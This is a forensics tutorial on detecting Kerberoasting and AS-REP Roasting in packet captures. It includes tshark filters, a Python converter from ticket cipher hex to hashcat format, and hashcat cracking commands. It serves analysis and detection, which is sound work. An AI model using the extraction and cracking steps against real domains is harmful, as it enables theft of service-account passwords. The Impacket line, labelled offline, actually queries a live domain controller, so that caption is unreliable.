Analyzing Kerberoasting PCAP Captures via TGS-REQ Identification and Hashcat Ticket Extraction

Why This Matters

Kerberoasting was a central technique in the 2020 SolarWinds supply-chain intrusion and has appeared in countless ransomware pre-deployment investigations. It is silent from the domain controller's perspective — every TGS-REQ is a legitimate Kerberos operation — yet leaves a precise and unique signature in network captures: service ticket requests targeting service principal names (SPNs) associated with user accounts rather than computer accounts. Analysts who can identify Kerberoasting in a PCAP, extract the encrypted ticket blobs, and convert them to hashcat format bridge network forensics with offensive credential-cracking tradecraft.

Core Concept

Kerberos authenticates users and services in Active Directory environments through a ticket system. The Key Distribution Center (KDC) issues two types of tickets:

• TGT (Ticket Granting Ticket): obtained via AS-REQ/AS-REP exchange, encrypted with the KDC's krbtgt key. Wireshark kerberos.msg_type == 10 (AS-REQ), kerberos.msg_type == 11 (AS-REP).
• Service Ticket (TGS): obtained via TGS-REQ/TGS-REP exchange. Wireshark kerberos.msg_type == 12 (TGS-REQ), kerberos.msg_type == 13 (TGS-REP). The service ticket is encrypted with the target service account's password-derived key.

Kerberoasting exploits the fact that any authenticated domain user can request a TGS for any service that has an SPN registered — including user accounts configured as service accounts. The returned TGS-REP contains an encrypted blob that can be cracked offline.

RC4-HMAC (etype 23) service tickets are crackable; AES-256 (etype 18) tickets are not feasible to crack. Kerberoasting clients often request etype 23 explicitly, even when the KDC and service account support AES, by setting only RC4 in the TGS-REQ etype list.

AS-REP Roasting differs: it targets accounts with pre-authentication disabled. The AS-REP (not TGS-REP) contains the crackable blob. Filter: kerberos.msg_type == 11 and kerberos.etype == 23.

Technical Deep-Dive

# Identify all TGS-REQ messages in the capture
tshark -r capture.pcap 
  -Y "kerberos.msg_type == 12" 
  -T fields 
  -e frame.number -e frame.time_relative 
  -e ip.src -e ip.dst 
  -e kerberos.CNameString 
  -e kerberos.sname 
  -e kerberos.etype 
  -E header=y

# Identify TGS-REP messages with etype 23 (RC4 — crackable)
tshark -r capture.pcap 
  -Y "kerberos.msg_type == 13 and kerberos.etype == 23" 
  -T fields 
  -e frame.number -e frame.time_relative 
  -e ip.src -e ip.dst 
  -e kerberos.CNameString 
  -e kerberos.sname 
  -e kerberos.cipher 
  -E header=y

# Wireshark combined filter (paste into filter bar):
# kerberos.msg_type == 12 || kerberos.msg_type == 13

# AS-REP Roasting: find AS-REP with etype 23
tshark -r capture.pcap 
  -Y "kerberos.msg_type == 11 and kerberos.etype == 23" 
  -T fields -e kerberos.CNameString -e kerberos.cipher

#!/usr/bin/env python3
"""
Convert Wireshark-extracted TGS-REP cipher hex to hashcat $krb5tgs$ format.
Hashcat mode 13100 for Kerberoasting (TGS-REP).
Hashcat mode 18200 for AS-REP Roasting.

Input: tshark output lines of format: <username>    <sname> <cipher_hex>
"""
import sys

def tgs_to_hashcat(username: str, sname: str, realm: str, cipher_hex: str) -> str:
    """
    $krb5tgs$23$*user$realm$sname*$<first_16_bytes>$<rest>
    cipher_hex is the hex of the full EncryptedData.cipher field from Wireshark.
    """
    # Remove any colons or spaces Wireshark inserts between hex bytes
    clean_hex = cipher_hex.replace(":", "").replace(" ", "").lower()
    if len(clean_hex) < 32:
        return f"# INSUFFICIENT DATA for {username}"
    first16 = clean_hex[:32]
    rest    = clean_hex[32:]
    sname_clean = sname.replace("/", "~")   # avoid path confusion in hash file
    return f"$krb5tgs$23$*{username}${realm}${sname_clean}*${first16}${rest}"

realm = "CORP.LOCAL"   # adjust to domain observed in kerberos.realm field

for line in sys.stdin:
    parts = line.strip().split("    ")
    if len(parts) < 3:
        continue
    username, sname, cipher_hex = parts[0], parts[1], parts[2]
    print(tgs_to_hashcat(username, sname, realm, cipher_hex))

# After converting to hashcat format, crack with:
# hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt --rules=best64.rule

# For AS-REP Roasting hashes (mode 18200):
# hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# Impacket offline: extract Kerberos info from PCAP
# python3 -m impacket.examples.GetNPUsers -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt CORP/

# Check if Kerberoasting was performed by examining TGS-REQ etype list:
# A TGS-REQ listing ONLY etype 23 and no AES types is a Kerberoasting indicator.
tshark -r capture.pcap 
  -Y "kerberos.msg_type == 12" 
  -T fields -e kerberos.etype 
  | sort | uniq -c | sort -rn

Analytical Methodology

1. Apply Wireshark filter kerberos to isolate all Kerberos traffic. Confirm the KDC IP address from kerberos.msg_type == 10 (AS-REQ) messages — all Kerberos traffic flows to/from this host.
2. Filter on kerberos.msg_type == 12 (TGS-REQ) to see all service ticket requests. For each, inspect the kerberos.sname field. Service accounts registered under user account objects (not computer accounts) are Kerberoasting targets. SPNs like MSSQLSvc/server.corp.local, HTTP/web.corp.local associated with user accounts are classic targets.
3. Examine the kerberos.etype list in the TGS-REQ. A request listing exclusively etype 23 (RC4-HMAC = 0x17) while omitting AES types (17, 18) is a Kerberoasting indicator — the client is deliberately requesting a weaker ticket.
4. Match TGS-REQ messages to the corresponding TGS-REP using the kerberos.seq or TCP stream. In the TGS-REP, extract the kerberos.cipher field — this is the encrypted service ticket body to crack.
5. Confirm etype 23 in the TGS-REP enc-part. If the KDC honoured the RC4 request, the cipher blob is crackable.
6. Convert the cipher hex to hashcat $krb5tgs$23$ format. Feed to hashcat mode 13100 with a wordlist.
7. For AS-REP Roasting, separately filter kerberos.msg_type == 11 (AS-REP) with kerberos.etype == 23. Extract username and cipher; convert to $krb5asrep$23$ format for hashcat mode 18200.
8. Document all roasted service accounts: SPN, requesting user, ticket etype, cipher length (longer blobs indicate AES or large PAC data), and cracking result if applicable.

Common Analytical Errors

• Confusing TGS-REP and AS-REP cipher blobs: TGS-REP ciphers go into hashcat mode 13100 ($krb5tgs$); AS-REP ciphers go into mode 18200 ($krb5asrep$). Using the wrong mode produces zero candidates.
• Missing the etype 23 filter on TGS-REP: The TGS-REQ may request etype 23, but if the KDC returns etype 18 (AES) because the account is configured for AES-only, the ticket is not crackable. Always verify the etype in the TGS-REP, not just the TGS-REQ.
• Including PAC data in cipher field: Some Wireshark versions include the full EncryptedData blob including the PAC, while others show only the cipher portion. Verify the hash format matches what hashcat expects — an incorrectly framed hash will produce no candidates.
• Overlooking multiple TGS-REQs from one host: A single host issuing TGS-REQs for dozens of SPNs in rapid succession (automated enumeration) is a higher-confidence Kerberoasting indicator than a single request. Count TGS-REQs per source IP.

NICE Framework Alignment

Further Reading

• Tim Medin: "Attacking Kerberos: Kicking the Guard Dog of Hades" (DerbyCon 2014) — foundational Kerberoasting research
• Will Schroeder: "Kerberoasting Without Mimikatz" — Invoke-Kerberoast PowerShell and hash format details
• harmj0y blog: "Roasting AS-REPs" — AS-REP Roasting technique and detection
• hashcat wiki: Kerberos modes 13100 and 18200 — hash format specifications
• MITRE ATT&CK T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting — detection data sources